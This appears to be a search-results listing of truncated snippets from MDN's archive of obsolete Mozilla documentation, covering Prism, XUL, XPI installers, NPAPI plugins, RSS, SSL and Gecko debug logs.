webrunner.xulPorting an Existing Extension Since there aren't many extensions designed explicitly for Prism, you may need to port your favorite extensions. This usually means extracting and editing the install.rdf file to add Prism as a target application. You may also need to modify the extension's overlay to be able to work with the Prism UI. Many archive tools, like 7zip, can edit and update a fil...
...sm as a target application. You may also need to modify the extension's overlay to be able to work with the Prism UI. Many archive tools, like 7zip, can edit and update a file in the archive without needing to manually extract it and add it back into the XPI. Installing Prism supports a basic Add-on user interface which allows a user to manage extensions. Using this dialog, a user just launches a
webapp and opens the Add-ons dialog. Then install the extension by either dragging and dropping the extension onto the dialog, or by clicking the "Install..." button, navigating to the extension and selecting it for installation. Extensions can be removed using the same dialog. ...
Styling - Archive of obsolete content
Prism allows for some client-side
web application styling. The
web application bundle is allowed to hold a CSS file named
webapp.css (called the
webapp style). This file will be loaded into the
web application content stylesheet and can override the
web application's native styles. Simply add the
webapp.css to the bundle and it will be injected into the
web application, regardless of the platform or OS. It is also possible to create platform-specific styles. In this scenario, the CSS file is specific to an OS. This allows Prism
webapps to take on an OS-specific look. To use platform-specific styles, create a folder in the bundle archive for each supported OS and place a
webapp.css file in the folder. The folder names MUST match the following: Windows - winnt Mac OS X - darwin Lin...
...form-specific styles, create a folder in the bundle archive for each supported OS and place a
webapp.css file in the folder. The folder names MUST match the following: Windows - winnt Mac OS X - darwin Linux - linux The folder names are pulled from Mozilla and are the same as those used in other Mozilla projects, such as extension and XUL applications. NOTE: you can also include a root level
webapp.css which will be used if a platform-specific version is not found. ...
Safely loading URIs - Archive of obsolete content
Not all URI loads are safe. For example, loading some file: URIs can hang the browser or even crash the operating system in some cases. Some other schemes are used internally by Mozilla modules to communicate with each other. Finally, some URIs (e.g. chrome: give the loaded page expanded privileges. If a
web page gets access to a window with such expanded privileges, it may be able to abuse it to gain access to those privileges itself. To solve this problem, Gecko provides methods that allow the caller to check whether it's safe to load a particular URI. These methods are exposed on the nsIScriptSecurityManager interface and are called checkLoadURI, checkLoadURIWithPrincipal, and checkLoadURIStr. All three methods take three arguments: the first argument identifies the source of the ...
...iew Image" option, the source of the image URI would be the page the image is in, not the chrome document the context menu code is in. Differences between the methods The three methods differ from each other in how the source of the URI is identified and in what is known about the URI to be loaded. In general, the following guidelines apply for Gecko 1.8: If you plan pass a URI string to nsI
WebNavigation.loadURI (which can happen indirectly, e.g. by passing the string to something that loads it in a <browser> or <iframe>), you must call checkLoadURIStr to be secure. There's no way to do this completely securely in Gecko versions prior to 1.8.0.4. If you're doing anything else (passing a URI string to some other API like window.open or <img src="">, passing a URI object to an API that l...
Supporting per-window private browsing - Archive of obsolete content
getService(Components.interfaces.nsIPrivateBrowsingService). privateBrowsingEnabled; if (!inPrivateBrowsing) { ... } } catch(e) { Components.utils.reportError(e); return; } } Obtaining an nsILoadContext for privacy-sensitive APIs Some APIs (such as nsITransferable and nsI
WebBrowserPersist) take nsILoadContext arguments that are used to determine whether they should be classed as private or not (for example, whether the URI being persisted by saveURI should be added to the permanent download history). To do this, import resource://gre/modules/PrivateBrowsingUtils.jsm and use PrivateBrowsingUtils.getPrivacyContextFromWindow(win), passing a Window object that is related...
...that owns the element being targeted by the context menu (element.ownerDocument.defaultView). If some action triggered by a chrome element (such as a button) requires an API that takes a privacy context, the most relevant window is the one that contains the chrome element. In some cases, there is no logical window object to use (such as when data or an action originate from some other source than
web content). In these cases, it is permissable to pass null as the argument instead of a real privacy context. However, this can lead to privacy leaks (such as cache and download entries) if not used carefully. Clearing any temporarily-stored private data It is permissable to store private data in non-persistent ways for the duration of a private browsing session. To be notified when such a session ...
Table Layout Regression Tests - Archive of obsolete content
"1 Null Null 0 2 " /> <content data="0 0 0 Null " /> <quotes data="0 " /> <ui data="3 0 0 1 " /> <uireset data="7 0 4" /> <xul data="0 0 0 0 0 1 <svg data="0 1.000000 1.000000 0 1.000000" /> </stylecontext> The baseline log will look like: Type Manifest File: e:\moz_src\mozilla\obj-i586-pc-msvc\dist\bin\components\xpti.dat +++ JavaScript debugging hooks installed. ++
WEBSHELL == 1 ++DOMWINDOW == 1 ++
WEBSHELL == 2 ++DOMWINDOW == 2 Note: styleverifytree is disabled Note: frameverifytree is disabled Note: verifyreflow is disabled ++
WEBSHELL == 3 ++DOMWINDOW == 3 Running baseline test for E:\moz_src\mozilla\layout\html\tests\block\rtest.lst. Writing regression data to E:\moz_src\mozilla\layout\html\tests\block\base\baseline\width-fixed_html.rgd Writing regression dat...
....rgd The second verify run creates first the frame dumps in the verify subdirectories (verify) and compares each frame dump with the corresponding reference frame dump. If they differ in critical points the test fails. A typical part of the verify log would look like: Type Manifest File: e:\moz_src\mozilla\obj-i586-pc-msvc\dist\bin\components\xpti.dat +++ JavaScript debugging hooks installed. ++
WEBSHELL == 1 ++DOMWINDOW == 1 ++
WEBSHELL == 2 ++DOMWINDOW == 2 Note: styleverifytree is disabled Note: frameverifytree is disabled Note: verifyreflow is disabled ++
WEBSHELL == 3 ++DOMWINDOW == 3 Running verify test for E:\moz_src\mozilla\layout\html\tests\block\rtest.lst. Writing regression data to E:\moz_src\mozilla\layout\html\tests\table\core\verify\standards1.rgd Comparing to regression data fro...
Venkman - Archive of obsolete content
aMonkey. Note that it is not included in the Gecko-based browsers such as K-Meleon, Galeon and Netscape 8.x. Venkman has been provided as part of the Mozilla install distribution since October 2001, as well as an extension package in XPI format. Documentation Venkman Introduction An overview and some practical examples of using the JavaScript Debugger in
Web development. Using Breakpoints in Venkman This article describes breakpoints in JavaScript and how to use Venkman to set and examine breakpoints. Learning the JavaScript debugger Venkman Written by Svend Tofte to the JavaScript programmers who are not familiar with other debugging tools. Venkman FAQ Answers to common question...
...org/venkman/summary Community View Mozilla forums... Mailing list Newsgroup RSS feed IRC: #venkman on irc.mozilla.org Report a bug in Venkman If you find a problem with Venkman, please follow directives mentioned at Venkman FAQ section 5.4 and then you may report a bug on JavaScript Debugger component. Related Topics JavaScript,
Web Development, Developing Mozilla Original Document Information Author(s): Robert Ginda Other contributors: Doctor Unclear Last Updated Date: July 13, 2007 Copyright Information: Portions of this content are (C) 1998-2007 by individual mozilla.org contributors; content available under a Creative Commons license | Details. ...
XBL - Archive of obsolete content
XBL bindings have been removed from the Firefox codebase and the work was tracked in bug 1397874 and Are We XBL Still?. Removal of the XBL implementation is being tracked in bug 1566221. See also: XBL Removal Design Review Packet, Problems with XBL and the XBL and
Web Components comparison. XML Binding Language (XBL, sometimes also called Extensible Bindings Language) is a language for describing bindings that can be attached to elements in other documents. The element that the binding is attached to, called the bound element, acquires the new behavior specified by the binding. Bindings can contain event handlers that are registered on the bound element, an implementation of new methods and properties t...
...ew subtle (and not-so-subtle) differences. For example, names of the elements are different. Also sXBL lacks some features of XBL, such as bindings inheritance and defining methods/properties on bound elements. XBL 2.0 (W3C Candidate Recommendation) was developed to address problems found in XBL 1.0 and to allow for implementations in a broader range of
Web browsers. In 2009 Mozilla announced plans to implement XBL2 in future versions of Gecko. Some differences between sXBL and XBL2 are listed in an article by Anne van Ke ( seesteren (November, 2005). An overview of differences between Mozilla XBL and XBL2 is in a newsgroup posting by Jonas Sicking...
Learn XPI Installer Scripting by Example - Archive of obsolete content
e front end of the installation, then at a minimum, the install scripts mustinitialize, add the files to be installed, and execute. Note also that when you call methods on the Install--as you do so often in installation scripts (getFolder, initInstall, addFile, and performInstall are all examples of common Install object methods)--the Install object is implicit; like the window object in regular
web page scripts, the Install object does not need to be prefixed to the method. Initializing the Installation All installations must begin with initInstall(). The initInstall() method on the Install object creates a new installation for the specified software and version. In the browser.xpi installation, this function appears at line 20: var err = initInstall("Netscape Seamonkey", "Browser", "6.0...
...The example above shows this minimal installation. This install script does not include any version or disk space checking, very little error checking, only a single executable, no registration, and no commenting. It does, however, take the executable and the README file and install them on the user's system. Note also that for the installation script in a XPI to be automatically triggered from a
web page, you must use a "trigger script." The following InstallTrigger function, called from an event handler on a regular
web page, will point to the remotely-hosted XPI (called here 'cdrip.xpi') and trigger its installation: function putIt() { xpi={'CD_Ripper':'cdrip.xpi'}; InstallTrigger.install(xpi); } ... <a href="#" onclick="putIt();">install the CD Ripper Now!</a> See the InstallTrigg...
SVG And Canvas In Mozilla - Archive of obsolete content
Presentation View Online Download Summary Today's
Web browsers offer somewhat limited graphics capabilities to
Web developers. Advances in hardware, especially graphics processors, offer the potential for far richer graphics in interactive applications. To realize this potential in
Web applications, browsers must expose rich new graphics APIs to
Web content. The Mozilla project will meet this challenge with two major new features to be delivered in Firefox 1.5: integrated SVG and a new canvas HTML element. Work is also underway "under the hood" on a new unified graphics architecture that uses 3D graphics processors to accelerate all rendering. This work provides additional benefits to
Web developers such as the ability to apply SVG effects to HTML content. Questions and Dis...
...lenge with two major new features to be delivered in Firefox 1.5: integrated SVG and a new canvas HTML element. ...
browser.type - Archive of obsolete content
ocuments. Warning: The type attribute must be set before the element is inserted into the document. content A browser for content. The content that is loaded inside the browser is not allowed to access the chrome above it. content-primary The primary browser for content. The content that is loaded inside the browser is not allowed to access the chrome above it. For instance, in a
web browser, this would be the element that displays the
web page. The window for the primary content can be retrieved more conveniently using window.content. content-targetable One browser among many for content. The content that is loaded inside the browser is not allowed to access the chrome above it. This is the preferred value for any browser element in an application, which will use multipl...
...tent. The content that is loaded inside the browser is not allowed to access the chrome above it. ...
Building accessible custom components in XUL - Archive of obsolete content
e, but the resulting controls were never as accessible as similar controls in desktop applications. Assistive technologies could only see the generic HTML markup used to build the control; they had no way of knowing that a particular collection of div and span elements should be treated as a single cohesive control (such as a tab bar or a treeview). ...
...This has all been well-documented for some time. However, it is less well-known that the same DHTML Accessibility techniques can be applied to XUL, Mozilla's XML markup language for building user interfaces. ...
Uploading and Downloading Files - Archive of obsolete content
! Other documentation on files and I/O not using the unavailable nsIScriptableIO APIs: Code snippets: File I/O, Open and Save Dialogs, Reading textual data, Writing textual data, List of file-related error codes. The IO object and stream objects can be used to upload files to servers in various ways. The exact method depends on the type of upload that you wish to perform. HTTP File Upload Some
web sites allow one to upload a file. This is done by using an HTML <input> element using the file type from within a form. When the user selects a file, it can be uploaded to a server. This operation can also be performed via a script using the XMLHttpRequest object. This is a common technique for uploading files as it is compatible with existing servers and FormData interface makes that task fairly...
...l, fieldName, filePath) { var formData = new FormData(); formData.append(fieldName, new File(filePath)); var req = new XMLHttpRequest(); req.open("POST", postUrl); req.onload = function(event) { alert(event.target.responseText); }; req.send(formData); } HTTP PUT You can also upload a file using an HTTP PUT operation. This is simpler but it doesn't allow sending additional data and
web servers usually need special configuration to support PUT operations. function uploadPut(postUrl, filePath) { var req = new XMLHttpRequest(); req.open("PUT", postUrl); req.setRequestHeader("Content-type", "text/plain"); req.onload = function(event) { alert(event.target.responseText); } req.send(new File(filePath)); } In this example, a new input stream is created for a file, and is p...
Extensions - Archive of obsolete content
Adding a new menu The main menu bar in Firefox has the id 'main-menubar'. To add a new menu onto the main application menubar, you will need to overlay this menubar. For instance: <menubar id="main-menubar"> <menu label="Search" insertbefore="tools-menu"> <menupopup> <menuitem label="
Web"/> <menuitem label="Mail"/> </menupopup> </menu> </menubar> This menu is added to the main menu bar just before the Tools menu. The insertbefore attribute is set to 'tools-menu' to ensure that the new menu is added at the right place. Note that the menu will not appear until it has a <menupopup>. Adding a new menuitem You might wish to add a new item to one of the menus. This can be done by overlaying the popup to append the item to. For a list of the ids of the menus for...
...is menu displays menu items specific to what was context clicked or focused. For instance, opening a context menu for a link displays items to open the link in a new window or tab and to save or bookmark the link. An extension may modify the context menu to show additional items that either appear always, or appear only when certain content is selected. In Firefox, the browser area that displays
web pages has only one context menu. Instead of having separate context menus depending on what type of element was the target of the context menu, only one context menu is used and items that don't apply to that type of element are hidden from the menu as needed. Thus, you can add items to the Firefox context menu by overlaying this single menu. This context menu has the id 'contentAreaContextMenu'.
Code Samples - Archive of obsolete content
ow to open. Note: On operating systems that use backslash characters, double each backslash character. On operating systems that use forward-slash characters, specify the file in the normal way. const path = "C:\\WINDOWS\\CHARMAP.EXE" var file = Components .classes["@mozilla.org/file/local;1"] .createInstance(Components.interfaces.nsILocalFile) file.initWithPath(path) file.launch() Open a
web page If your button is in Firefox or SeaMonkey, use code like this to open a
web page. Change the first line to specify the page that you want to open: const url = "http://www.mozilla.org/" document .getElementById("content") .
webNavigation .loadURI(url, 0, null, null, null) If your button is in Thunderbird or Sunbird, use code like this to open a
web page. Change the first line to specif...
...Change the first line to specify: const url = "mailto://" Open an application window To open one of the application's windows, use code like this. If the window already exists, this code just focusses it. Otherwise it opens the window: const name = "...internal name of the window..." const uri = "...chrome URI of the window..." var w = Components .classes["@mozilla.org/appshell/w...
SeaMonkey - making custom toolbar (SM ver. 1.x) - Archive of obsolete content
directory where you installed SeaMonkey: 1. Go to the directory where you installed SeaMonkey, then go to the chrome directory there. Note: For information about how to find the directory where you installed SeaMonkey, see: Installation directory If you cannot easily find the directory, you can use the following method to find it. From SeaMonkey's menu bar, choose Tools -
Web Development - JavaScript Console. Copy the following code. It is one very long line ending in path--make sure that you get all of it: Components.classes["@mozilla.org/file/directory_service;1"].getService( Components.interfaces.nsIProperties).get("AChrom", Components.interfaces.nsIFile).path In the JavaScript Console window, paste the code in the field near the top. Presss the Return or Enter...
...g, customize the files carefully. To see the effect of any change that you make, restart SeaMonkey. Advanced troubleshooting If you have some technical knowledge, then you can use the SeaMonkey's JavaScript console to see error messages. However, you might see messages that are unhelpful or confusing, or that come from other parts of the application. To open the JavaScript console, choose Tools -
Web Development - JavaScript Console. Messages in the JavaScript console can provide information about JavaScript, XUL or CSS files. Note: The preference setting javascript.options.strict imposes restrictions that are not appropriate for the simple scripts in this tutorial. If you choose to use this setting, either ignore the warnings that it generates, or change the coding style to keep it quiet.
Toolbars - Archive of obsolete content
n you can download and try. Code snippets: Toolbar Code snippets that are helpful when working with toolbars. Community View Mozilla extension development forums... Mailing list Newsgroup RSS feed #extdev IRC channel MozillaZine forum about:addons newsletter Mozilla's
Web-Tech blog mozdev project owners Planet Mozilla Other community links... Tools DOM Inspector edit the live DOM (Firefox and Thunderbird) Mozilla Labs Add-on Builder Extension Developer's Extension a suite of development tools Chrome List view files in chrome:// (Firefox, Thunderbird) Extension...
... mozdev project owners Planet Mozilla Other community links... Tools DOM Inspector edit the live DOM (Firefox and Thunderbird) Mozilla Labs Add-on Builder Extension Developer's Extension a suite of development tools Chrome List view files in chrome:// (Firefox, Thunderbird) Extension Wizard a
web-based extension skeleton generator (Firefox and Thunderbird) ... more tools ... Related Topics XUL, Themes, Developing Mozilla ...
Creating an Installer - Archive of obsolete content
d to install files and components. The JAR file installers typically have the extension .xpi (pronounced zippy) to distinguish them from other archives. The installers will be usually used to install Mozilla components such as new skins, plugins and packages. There are several steps involved in launching an installer and installing components. These are described step by step below. Create a
Web page from which the user can download the software to be installed. This page will contain an install trigger which is a small piece of script which launches the install. The user is presented with a dialog which indicates the package being installed. It is possible for the install trigger to launch multiple installers. In this case, they will be presented in a list. The user may choose to conti...
...ges are being installed, their scripts will run in sequence. Install Triggers As indicated above, the install process is started by an install trigger. This involves the use of the special global object InstallTrigger. It contains a number of methods which can be used to start an installation. You can use this object in local or remote content, meaning that it is suitable for a download from a
Web site. Let's create an example install trigger. This involves the use of the function InstallTrigger.install(). This function takes two arguments, the first is a list of packages to install, and the second is a callback function which will be called when the installation is complete. Here is an example: function doneFn ( name , result ){ alert("The package " + name + " was installed with a res...
Input Controls - Archive of obsolete content
Text Entry Fields HTML has an input element which can be used for text entry controls. XUL has a similar element, textbox, used for text entry fields. Without any attributes, the textbox element creates a box in which the user can enter text. Textboxes accept many of the same attributes as HTML input controls. The following are some of them: id A unique identifier so that you can identify the textbox. class The style class of the textbox. ...
...pecified is usually drawn underlined in the label. to view XUL, you need e.g. seamonkey or waterfox and remote-xul-manager from https://github.com/jvillalobos/Remote-XUL-Manager Find files example so far : Source View In the next section, we will look at some elements for entering and selecting numbers. << PreviousNext >> Looking for a guide to using input controls and forms on the
Web? See Forms in HTML. ...
RDF Datasources - Archive of obsolete content
Bookmarks (rdf:bookmarks) The bookmarks are generated from the user's bookmark list. ...
...s Added Date http://home.netscape.com/NC-rdf#BookmarkAddDate Date the bookmark was added Description http://home.netscape.com/NC-rdf#Description Bookmark description Last Modified http://home.netscape.com/
WEB-rdf#LastModifiedDate Date of last modification Last Visited http://home.netscape.com/
WEB-rdf#LastVisitDate Date of last visit Name http://home.netscape.com/NC-rdf#Name Bookmark name Shortcut URL http://home.netscape.com/NC-rdf#ShortcutURL Custom keywords field URL http://home.netscape.com/NC-rdf#URL The URL to link to Possible Bookmarks Roots NC:BookmarksR...
Skinning XUL Files by Hand - Archive of obsolete content
he skin of a XUL file is its look or overall style. In XUL, skins are created with Cascading Style Sheets and images. To skin a XUL file means to change the overall look of that file by changing its style information. In the very near future, it will be possible to skin XUL files dynamically and completely -- by pressing a button, selecting a skin from a menu, or by accepting a skin from over the
web. When this day comes, skins defined in a global skin file will be applied to a whole application -- like the Mozilla browser -- so that all the various windows and parts will look consistent. In the meantime, however, skinning a file requires some manual interaction. This article can help you get started understanding skins and creating skins for XUL. It presumes you have at least basic understan...
...ction of such interfaces democratized, in other words; the consumption and distribution of these interfaces is equally democratic. As with anything truly democratic, you have to fuss a little bit with things to make them work. You have to share, and you have to have a little bit patience. Once you get the hang of things, though, you will find creating XUL files and skins as easy as creating basic
web pages in HTML. Original Document Information Author(s): Ian Oeschger Last Updated Date: October 3, 2004 Copyright Information: Copyright (C) Ian Oeschger ...
XULBrowserWindow - Archive of obsolete content
See the linked interfaces for the definition of the implemented methods. You may also wish to refer to the implementation of XULBrowserWindow in browser/base/content/browser.js. ...
...See the linked interfaces for the definition of the implemented methods. You may also wish to refer to the implementation of XULBrowserWindow in browser/base/content/browser.js. ...
XUL accessibility tool - Archive of obsolete content
It is designed to test (insofar as automated testing is possible) the guidelines and requirement for creating accessible XUL as set forth in the XUL accessibility guidelines, and to report on any problems found in tested documents. While not meant to be a comprehensive test suite (meaning that passing all included tests does not guarantee that an application is free of accessibility bugs or issues), many of the most common accessibility mistakes will be found and reported. ...
...Planet is compatible with the following XUL applications: Firefox 1.5+ Thunderbird 3.0a+ Recent Sunbird builds Recent Songbird builds. It probably also works on Seamonkey, but I haven't verified this. Use To launch the tool after installation, look for an entry in the Tools menu of the host application, or hit Ctrl+Alt+Shift+F12. Once the tool window has loaded, select either a local file,
web url, or currently open window from the File menu to generate a XUL report for that document. Be aware that the report might take a little while to be ready depending on the complexity of the application being analyzed and the speed of your machine. Future Work The following things have been suggested or are planned for a future version of the tool: New Tests: (aaronlev) Warning: hardcoded co...
XML - Archive of obsolete content
tion on the geneology of markup languages) -- has been created for the purposes of representing hypertext documents and the basic relationships between them. Humans read raw HTML often when they edit HTML documents, though this is changing as regular HTML editors are replaced by WYSIWYG HTML editors, and so do HTML parsers, which use the markup to format the document in its presentational form in
web browsers. Like HTML and MemoML, XUL is an XML-based language. Where in HTML the elements are used to describe the look of text, in XUL the elements are used to define the elements of an interface and some rules for putting them together. Collectively, the XUL elements provide all of the pieces you need to build rich interfaces. They are a toolkit whose tools are as simple as HTML tags but as pow...
...r all but the most basic behavioral and presentational aspects of the widgets upon Cascading Stylesheets. The combination of structure, as defined in the XUL, style as defined by the stylesheets, and the other standards are rendered by Gecko into the interface. The heavy lifting is done by the ingredients rather than the chef. This arrangement creates new possibilities for truly cross-platform
web applications, application serving,
web appliances and embedded systems, and all sort of other things. Like all really good technologies, XUL and its XP cousins are already being used in ways not imagined by their creators and growing propitiously out of control. Author: Ian T. Oeschger Other Documents: XML in Mozilla Original Document Information Author(s): Ian T. Oeschger Last Updated Da...
Debugging a XULRunner Application - Archive of obsolete content
e exe to wherever you want. Then run Console Redirector.exe /? JavaScript Console To enable the JS console, start XULRunner with the -jsconsole argument. Note: If you are not using the stub executable to launch the application, the -jsconsole argument is after the application.ini argument: e.g. xulrunner.exe /path/to/application.ini -jsconsole By default the JS console only shows errors from
web content. To show errors in chrome JavaScript, the pref pref("javascript.options.showInConsole", true) must be set. To log JS errors to disk, set the environment variable XRE_CONSOLE_LOG to the path to the filename. i.e. export XRE_CONSOLE_LOG=/path/to/logfile or set XRE_CONSOLE_LOG=C:\path\to\logfile. To output messages to the JavaScript console There are two ways to output messages to the JS ...
...and you should be able to point the debugger to your app. Happy debugging :) Venkman Follow these instructions to install Venkman into your XULRunner application (XULRunner 1.9 and later): Get Venkman from addons.mozilla.org (v0.9.87 at the time of writing). To download the package, right-click the install link and save the package locally. Create a directory <applica...
nsIContentPolicy - Archive of obsolete content
ttribute. TYPE_XMLHTTPREQUEST 11 Indicates an XMLHttpRequest. Also used for Document.load() TYPE_OBJECT_SUBREQUEST 12 Indicates a request by a plugin. TYPE_DTD 13 Indicates a DTD loaded by an XML document. TYPE_FONT 14 Indicates a font loaded via @font-face rule. TYPE_MEDIA 15 Indicates a video or audio load. TYPE_
WEBSOCKET 16 Indicates a
WebSocket load. TYPE_CSP_REPORT 17 Indicates a Content Security Policy report. TYPE_XSLT 18 Indicates a style sheet transformation. TYPE_BEACON 19 Indicates a beacon post. TYPE_FETCH 20 Indicates a load initiated by the GlobalFetch.fetch() method, which is available as a global in both Window and Worker context...
... TYPE_XSLT 18 Indicates a style sheet transformation. TYPE_BEACON 19 Indicates a beacon post. TYPE_FETCH 20 Indicates a load initiated by the GlobalFetch.fetch() method, which is available as a global in both Window and Worker contexts. TYPE_IMAGESET 21 Indicates a request to load an <img> (with the srcset attribute or <picture>. TYPE_
WEB_MANIFEST 22 Indicates a request to load a
Web manifest. TYPE_INTERNAL_SCRIPT 23 An internal constant used to represent scripts loaded using <script> elements. Important: This type is mapped to TYPE_SCRIPT before being passed to content policy implementations, and should not be used outside Gecko core code. TYPE_INTERNAL_WORKER 24 An...
2006-11-10 - Archive of obsolete content
refox - November 4, 2006 - November 10, 2006 Announcements None this week. Discussions site-specific search using our search box A discussion surrounding implementing a way to search a current page with the page's embedded search component and how to make this efficient and usable. Event in Firefox similar to OnDownloadComplete event in IE An inquiry about how to change the font of a
web page before it is displayed using an extenstion. favicon as microsummary/feed/other stuff indicator Suggestion about making the favicon create a bookmark for the page with a microsummary. Firefox 2.0 - net accessed when bookmark properties viewed Question about whether Firefox 2.0 downlads the
web page again when the properties of the bookmark are viewed. Followed by a discussion whether ...
...gain when the properties of the bookmark are viewed. Followed by a discussion whether this is an improvement. what is the build date for Firefox 2? Quesiton about why a user using Firefox 2 RC3 didn't get a prompt for updating to Firefox 2 after the release date. improving the UE for content control Suggestion about how to improve user experience with options controlling the appearance of
web content. Popup blockers..window handlers Inquiry of how to implement the pop-up blocker on the mozilla toolbar. No replies as of yet. Meetings None this week. Authors Sara Minchella (sara) Dave Manley (seneManley) Back to Summary List ...
Extentsions FAQ - Archive of obsolete content
PConnect. How to customizes toolbar button to coexist in a toolbar palette and status bar? Option #3 Install Status Buttons 1.0 <https://addons.mozilla.org/firefox/1272/> "Lets you put toolbar buttons at either end of the status-bar. Just drag them there from the toolbar customisation window, like you would when adding buttons to the toolbars." Option #4 Install Toolbar Control <http://
webdesigns.ms11.net/chromeditp.html> Asking for help with getting an extension to process Windows messages. use WM_COPYDATA How to creating an extension that can replace HTML code on a specific page that does not use Greasemonkey? var newNode = document.createElement(" ... html content here ... "); var replaceMe = document.getElementById("replaceMe"); replaceMe.parentNode.replaceChild(newNo...
...third I would simply change add an attribute and the corresponding CSS See http://www.w3.org/TR/REC-CSS2/cascade.html#cascade Friday, October 13 - 20, 2006 (? ...
2006-10-20 - Archive of obsolete content
Summary: mozilla.dev.quality - October 13-October 20, 2006 Announcements Completed RC3 Testing - The key testing activities for RC3 has been completed. There are a few concerns with the software updates, and a decision is required on this before a "Go" for RC3 release can be given. Announced by Tim on Friday October 13, 2006. ...
...Posted by Jay Patel on October 18th, 2006. ...
2006-10-06 - Archive of obsolete content
Summary: mozilla.dev.security - September 30, 2006 to October 6, 2006 Return to mozilla-dev-tech-xul Announcements None during this week. Discussions Protocol Handlers Boris Zbarsky posed the question, Should random
webpages have access to the following protocols: feed, pcast, moz-bookmark,
webcal, s
webcal. As well as any protocols that you have implemented and are NOT in the list of protocols nsScriptSecurityManager::CheckLoadURI feed: Consensus is that it should be allowed and treated as an ordinary link. ...
...e implemented and are NOT in the list of protocols nsScriptSecurityManager::CheckLoadURI feed: Consensus is that it should be allowed and treated as an ordinary link. pcast: Similar to feed: just differentiating between different types of feeds and should be allowed access. moz-bookmark: Protocol is defunct, apparently Ben Goodger disabled it back in 12/2003, shortly after he added it.
webcal: & s
webcal: Should also be allowed as the security manager doesn't differentiate between access types. Other This is for allowing protocol handlers to define a custom security model (see bug 120373). There is no consensus in the posts as to if this should be allowed. Problem Looping C_OpenSession Problem In Thunderbird Christian Bongiorno has run into a problem developing a PKCS11 modul...
2006-11-10 - Archive of obsolete content
Using window.innerHeight and window.scrollMaxY should resolve this issue. Block Images Discussion on how where to change source code so that images could be blocked in Mozilla. This can be defined within the nsIContentPolicy. ...
...Using window.innerHeight and window.scrollMaxY should resolve this issue. Block Images Discussion on how where to change source code so that images could be blocked in Mozilla. This can be defined within the nsIContentPolicy. ...
External resources for plugin creation - Archive of obsolete content
Supported development environments are XCode, Visual Studio, GCC (and probably any other modern C++ compiler) Browser plugins can be built as NPAPI (Mac/Windows), or ActiveX (Windows). ...
...t environments are XCode, Visual Studio, GCC (and probably any other modern C++ compiler) Browser plugins can be built as NPAPI (Mac/Windows), or ActiveX (Windows). ...
NPAPI plugin developer guide - Archive of obsolete content
Plugins are shared libraries that users can install to display content that the application itself can't display natively. For example, the Adobe Flash plug-in is used to access Flash content (including videos and certain interactive applications), and the QuickTime and RealPlayer plugins are used to play special format videos in a
web page. Important: Plugins are now a legacy technology. They are not available on most mobile devices. Mozilla encourages
website developers to avoid using plugins wherever possible. If there are plugin features which are not available in the
web platform, we encourage developers to post their use cases to mozilla.dev.platform project list, so that Mozilla can prioritize
web platform work to make those use cases possible. Plugins are written using NPAPI, t...
...s which are not available in the
web platform, we encourage developers to post their use cases to mozilla.dev.platform project list, so that Mozilla can prioritize
web platform work to make those use cases possible. Plugins are written using NPAPI, the cross-browser API for plugins. The main source of documentation for NPAPI is the NPAPI plugin API reference. To make your plugin scriptable from
web pages, use npruntime. Plug-in Basics How Plug-ins Are Used Plug-ins and Helper Applications How Plug-ins Work Understanding the Runtime Model Plug-in Detection How Gecko Finds Plug-ins Checking Plug-ins by MIME Type Overview of Plug-in Structure Understanding the Plug-in API Plug-ins and Platform Independence Windowed and Windowless Plug-ins The D...
NPSavedData - Archive of obsolete content
memory buffer allocated by the plug-in with NPN_MemAlloc(). Can be any reasonable size; its contents are private to the plug-in and are not modified by the browser. Description The NPSavedData object contains a block of per-instance information that the browser saves after the instance is deleted. ...
... be returned to another instance of the same plug-in if the user returns to the
web page that contains it. You can use the plug-in's NPP_Destroy() function to allocate an NPSavedData object using the NPN_MemAlloc() function, fill in the fields, and return it to the browser as an output parameter. See Instance Destruction for a code example that shows how to use NPSavedData. If the user revisits a
web page that contains a plug-in, the browser returns the NPSavedData to the new instance of the plug-in in a call to NPP_New(). After this, the plug-in is responsible for keeping or deleting the objects as necessary. See also NPP_New() NPP_Destroy() ...
How RSS Works - Archive of obsolete content
This page explains how RSS works. You will not yet be creating your own RSS files, but you will be learning about the different systems that come into play with RSS syndication. How RSS Works There are two main components that come into play with RSS syndication: the server end and the client end. The server end of RSS Syndication is the part of the system that produces the RSS feed. ...
... the part of the system that produces the RSS feed. A news
website would be at the server end of RSS syndication. A blog would be at the server end of RSS syndication. An IPradio show would be at the server end of RSS syndication. An IPTV show would be at the server end of RSS syndication. The client end of RSS syndication is the part of the system that consumes the RSS feed. The Mozilla Firefox
web browser would be at the client end of the RSS syndication. A desktop RSS aggregator would be at the client end of the RSS syndication. A
web-based RSS aggregator would be at the client end of the RSS syndication. ...
Why use RSS - Archive of obsolete content
e all sorts of things: news articles, blogs, bookmarks, Internet Radio shows, Internet Television shows, software updates, e-mails, mailing lists, music playlists, and more. If it is episodic, it can be syndicated with RSS. Software that reads and can make use of RSS is also everywhere. Mozilla Firefox has some support for RSS (with it's Live Bookmark technology.). ...
...re that reads and can make use of RSS is also everywhere. Mozilla Firefox has some support for RSS (with it's Live Bookmark technology.). There are too many desktop and
web-based RSS aggregators out there to list them all. Also, custom-made software is also making use of RSS. RSS Aggregators are Everywhere One reason to use RSS to syndicate is because there are an enormous amount of desktop and
web-based RSS aggregators out there. (Too many to list.) And if you syndicate using RSS, then all those desktop and
web-based RSS aggregators will be able to make use of and read your RSS feed. ...
Introduction to SSL - Archive of obsolete content
The SSL Protocol Ciphers Used with SSL The SSL Handshake The new Internet Engineering Task Force (IETF) standard protocol called Transport Layer Security (TLS) is based on SSL. The details of the protocol are available in Request For Comments (RFC): 2246,The TLS Protocol Version 1.0. Some Red Hat products already support TLS. Most other Red Hat products plan to support the protocol in future versions. ...
...l The Transmission Control Protocol/Internet Protocol (TCP/IP) governs the transport and routing of data over the Internet. Other protocols, such as the HyperText Transport Protocol (HTTP), Lightweight Directory Access Protocol (LDAP), or Internet Messaging Access Protocol (IMAP), run "on top of" TCP/IP in the sense that they all use TCP/IP to support typical application tasks such as displaying
web pages or running email servers. The SSL protocol runs above TCP/IP and below higher-level protocols such as HTTP or IMAP. It uses TCP/IP on behalf of the higher-level protocols, and in the process allows an SSL-enabled server to authenticate itself to an SSL-enabled client, allows the client to authenticate itself to the server, and allows both machines to establish an encrypted connection. T...
E4X - Archive of obsolete content
Use DOMParser/DOMSerializer or a non-native JXON algorithm instead. ECMAScript for XML (E4X) is a programming language extension that adds native XML support to JavaScript. ...
